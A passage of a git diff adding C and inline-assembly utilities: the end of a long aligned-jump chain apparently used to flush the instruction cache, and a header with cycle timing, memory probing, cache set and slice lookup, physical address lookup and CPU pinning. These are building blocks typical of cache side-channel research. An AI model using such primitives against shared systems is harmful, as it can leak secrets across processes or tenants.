label256 + .align 64 + label256: jmp label257 + .align 64 + label257: jmp label258 + .align 64 + label258: jmp label259 + .align 64 + label259: jmp label260 + .align 64 + label260: jmp label261 + .align 64 + label261: jmp label262 + .align 64 + label262: jmp label263 + .align 64 + label263: jmp label264 + .align 64 + label264: jmp label265 + .align 64 + label265: jmp label266 + .align 64 + label266: jmp label267 + .align 64 + label267: jmp label268 + .align 64 + label268: jmp label269 + .align 64 + label269: jmp label270 + .align 64 + label270: jmp label271 + .align 64 + label271: jmp label272 + .align 64 + label272: jmp label273 + .align 64 + label273: jmp label274 + .align 64 + label274: jmp label275 + .align 64 + label275: jmp label276 + .align 64 + label276: jmp label277 + .align 64 + label277: jmp label278 + .align 64 + label278: jmp label279 + .align 64 + label279: jmp label280 + .align 64 + label280: jmp label281 + .align 64 + label281: jmp label282 + .align 64 + label282: jmp label283 + .align 64 + label283: jmp label284 + .align 64 + label284: jmp label285 + .align 64 + label285: jmp label286 + .align 64 + label286: jmp label287 + .align 64 + label287: jmp label288 + .align 64 + label288: jmp label289 + .align 64 + label289: jmp label290 + .align 64 + label290: jmp label291 + .align 64 + label291: jmp label292 + .align 64 + label292: jmp label293 + .align 64 + label293: jmp label294 + .align 64 + label294: jmp label295 + .align 64 + label295: jmp label296 + .align 64 + label296: jmp label297 + .align 64 + label297: jmp label298 + .align 64 + label298: jmp label299 + .align 64 + label299: jmp label300 + .align 64 + label300: jmp label301 + .align 64 + label301: jmp label302 + .align 64 + label302: jmp label303 + .align 64 + label303: jmp label304 + .align 64 + label304: jmp label305 + .align 64 + label305: jmp label306 + .align 64 + label306: jmp label307 + .align 64 + label307: jmp label308 + .align 64 + label308: jmp label309 + .align 64 + label309: jmp label310 + .align 64 + label310: jmp label311 + .align 64 + label311: jmp label312 + .align 64 + label312: jmp label313 + .align 64 + label313: jmp label314 + .align 64 + label314: jmp label315 + .align 64 + label315: jmp label316 + .align 64 + label316: jmp label317 + .align 64 + label317: jmp label318 + .align 64 + label318: jmp label319 + .align 64 + label319: jmp label320 + .align 64 + label320: jmp label321 + .align 64 + label321: jmp label322 + .align 64 + label322: jmp label323 + .align 64 + label323: jmp label324 + .align 64 + label324: jmp label325 + .align 64 + label325: jmp label326 + .align 64 + label326: jmp label327 + .align 64 + label327: jmp label328 + .align 64 + label328: jmp label329 + .align 64 + label329: jmp label330 + .align 64 + label330: jmp label331 + .align 64 + label331: jmp label332 + .align 64 + label332: jmp label333 + .align 64 + label333: jmp label334 + .align 64 + label334: jmp label335 + .align 64 + label335: jmp label336 + .align 64 + label336: jmp label337 + .align 64 + label337: jmp label338 + .align 64 + label338: jmp label339 + .align 64 + label339: jmp label340 + .align 64 + label340: jmp label341 + .align 64 + label341: jmp label342 + .align 64 + label342: jmp label343 + .align 64 + label343: jmp label344 + .align 64 + label344: jmp label345 + .align 64 + label345: jmp label346 + .align 64 + label346: jmp label347 + .align 64 + label347: jmp label348 + .align 64 + label348: jmp label349 + .align 64 + label349: jmp label350 + .align 64 + label350: jmp label351 + .align 64 + label351: jmp label352 + .align 64 + label352: jmp label353 + .align 64 + label353: jmp label354 + .align 64 + label354: jmp label355 + .align 64 + label355: jmp label356 + .align 64 + label356: jmp label357 + .align 64 + label357: jmp label358 + .align 64 + label358: jmp label359 + .align 64 + label359: jmp label360 + .align 64 + label360: jmp label361 + .align 64 + label361: jmp label362 + .align 64 + label362: jmp label363 + .align 64 + label363: jmp label364 + .align 64 + label364: jmp label365 + .align 64 + label365: jmp label366 + .align 64 + label366: jmp label367 + .align 64 + label367: jmp label368 + .align 64 + label368: jmp label369 + .align 64 + label369: jmp label370 + .align 64 + label370: jmp label371 + .align 64 + label371: jmp label372 + .align 64 + label372: jmp label373 + .align 64 + label373: jmp label374 + .align 64 + label374: jmp label375 + .align 64 + label375: jmp label376 + .align 64 + label376: jmp label377 + .align 64 + label377: jmp label378 + .align 64 + label378: jmp label379 + .align 64 + label379: jmp label380 + .align 64 + label380: jmp label381 + .align 64 + label381: jmp label382 + .align 64 + label382: jmp label383 + .align 64 + label383: jmp label384 + .align 64 + label384: jmp label385 + .align 64 + label385: jmp label386 + .align 64 + label386: jmp label387 + .align 64 + label387: jmp label388 + .align 64 + label388: jmp label389 + .align 64 + label389: jmp label390 + .align 64 + label390: jmp label391 + .align 64 + label391: jmp label392 + .align 64 + label392: jmp label393 + .align 64 + label393: jmp label394 + .align 64 + label394: jmp label395 + .align 64 + label395: jmp label396 + .align 64 + label396: jmp label397 + .align 64 + label397: jmp label398 + .align 64 + label398: jmp label399 + .align 64 + label399: jmp label400 + .align 64 + label400: jmp label401 + .align 64 + label401: jmp label402 + .align 64 + label402: jmp label403 + .align 64 + label403: jmp label404 + .align 64 + label404: jmp label405 + .align 64 + label405: jmp label406 + .align 64 + label406: jmp label407 + .align 64 + label407: jmp label408 + .align 64 + label408: jmp label409 + .align 64 + label409: jmp label410 + .align 64 + label410: jmp label411 + .align 64 + label411: jmp label412 + .align 64 + label412: jmp label413 + .align 64 + label413: jmp label414 + .align 64 + label414: jmp label415 + .align 64 + label415: jmp label416 + .align 64 + label416: jmp label417 + .align 64 + label417: jmp label418 + .align 64 + label418: jmp label419 + .align 64 + label419: jmp label420 + .align 64 + label420: jmp label421 + .align 64 + label421: jmp label422 + .align 64 + label422: jmp label423 + .align 64 + label423: jmp label424 + .align 64 + label424: jmp label425 + .align 64 + label425: jmp label426 + .align 64 + label426: jmp label427 + .align 64 + label427: jmp label428 + .align 64 + label428: jmp label429 + .align 64 + label429: jmp label430 + .align 64 + label430: jmp label431 + .align 64 + label431: jmp label432 + .align 64 + label432: jmp label433 + .align 64 + label433: jmp label434 + .align 64 + label434: jmp label435 + .align 64 + label435: jmp label436 + .align 64 + label436: jmp label437 + .align 64 + label437: jmp label438 + .align 64 + label438: jmp label439 + .align 64 + label439: jmp label440 + .align 64 + label440: jmp label441 + .align 64 + label441: jmp label442 + .align 64 + label442: jmp label443 + .align 64 + label443: jmp label444 + .align 64 + label444: jmp label445 + .align 64 + label445: jmp label446 + .align 64 + label446: jmp label447 + .align 64 + label447: jmp label448 + .align 64 + label448: jmp label449 + .align 64 + label449: jmp label450 + .align 64 + label450: jmp label451 + .align 64 + label451: jmp label452 + .align 64 + label452: jmp label453 + .align 64 + label453: jmp label454 + .align 64 + label454: jmp label455 + .align 64 + label455: jmp label456 + .align 64 + label456: jmp label457 + .align 64 + label457: jmp label458 + .align 64 + label458: jmp label459 + .align 64 + label459: jmp label460 + .align 64 + label460: jmp label461 + .align 64 + label461: jmp label462 + .align 64 + label462: jmp label463 + .align 64 + label463: jmp label464 + .align 64 + label464: jmp label465 + .align 64 + label465: jmp label466 + .align 64 + label466: jmp label467 + .align 64 + label467: jmp label468 + .align 64 + label468: jmp label469 + .align 64 + label469: jmp label470 + .align 64 + label470: jmp label471 + .align 64 + label471: jmp label472 + .align 64 + label472: jmp label473 + .align 64 + label473: jmp label474 + .align 64 + label474: jmp label475 + .align 64 + label475: jmp label476 + .align 64 + label476: jmp label477 + .align 64 + label477: jmp label478 + .align 64 + label478: jmp label479 + .align 64 + label479: jmp label480 + .align 64 + label480: jmp label481 + .align 64 + label481: jmp label482 + .align 64 + label482: jmp label483 + .align 64 + label483: jmp label484 + .align 64 + label484: jmp label485 + .align 64 + label485: jmp label486 + .align 64 + label486: jmp label487 + .align 64 + label487: jmp label488 + .align 64 + label488: jmp label489 + .align 64 + label489: jmp label490 + .align 64 + label490: jmp label491 + .align 64 + label491: jmp label492 + .align 64 + label492: jmp label493 + .align 64 + label493: jmp label494 + .align 64 + label494: jmp label495 + .align 64 + label495: jmp label496 + .align 64 + label496: jmp label497 + .align 64 + label497: jmp label498 + .align 64 + label498: jmp label499 + .align 64 + label499: jmp label500 + .align 64 + label500: jmp label501 + .align 64 + label501: jmp label502 + .align 64 + label502: jmp label503 + .align 64 + label503: jmp label504 + .align 64 + label504: jmp label505 + .align 64 + label505: jmp label506 + .align 64 + label506: jmp label507 + .align 64 + label507: jmp label508 + .align 64 + label508: jmp label509 + .align 64 + label509: jmp label510 + .align 64 + label510: jmp label511 + .align 64 + label511: jmp label512 + .align 64 + label512: xor %%eax, %%eax)" + : + : + : "eax", "memory"); +} \ No newline at end of file diff --git a/util/util.h b/util/util.h new file mode 100644 index 0000000..2c7008e --- /dev/null +++ b/util/util.h @@ -0,0 +1,74 @@ +#ifndef _UTIL_H +#define _UTIL_H + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include "machine_const.h" + +uint64_t get_cache_set_index(uint64_t addr, int cache_level); +uint64_t find_next_address_on_slice_and_set(void *va, uint8_t desired_slice, uint32_t desired_set); + +/* + * Gets the value Time Stamp Counter + */ +inline uint64_t get_time(void) +{ + uint64_t cycles; + asm volatile("rdtscp\n\t" + "shl $32, %%rdx\n\t" + "or %%rdx, %0\n\t" + : "=a"(cycles) + : + : "rcx", "rdx", "memory"); + + return cycles; +} + +uint64_t start_time(void); +uint64_t stop_time(void); + +inline void wait_cycles(uint64_t delay) +{ + uint64_t cycles, end; + cycles = get_time(); + end = cycles + delay; + while (cycles < end) { + cycles = get_time(); + } +} + +inline void maccess(void *p) +{ + asm volatile("movq (%0), %%rax" ::"r"(p) + : "rax"); +} + +struct Node { + void *address; + struct Node *next; +}; + +void append_string_to_linked_list(struct Node **head, void *addr); + +int get_cpu_on_socket(int socket); +uint64_t get_physical_address(void *address); +uint64_t get_cache_slice_index(void *va); + +static void pin_cpu(size_t core_ID) +{ + cpu_set_t set; + CPU_ZERO(&set); + CPU_SET(core_ID, &set); + if (sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) { + printf("Unable to Set Affinity\n"); + exit(EXIT_FAILURE); + } +} + +void flush_l1i(void); + +#endif \ No newline at end of file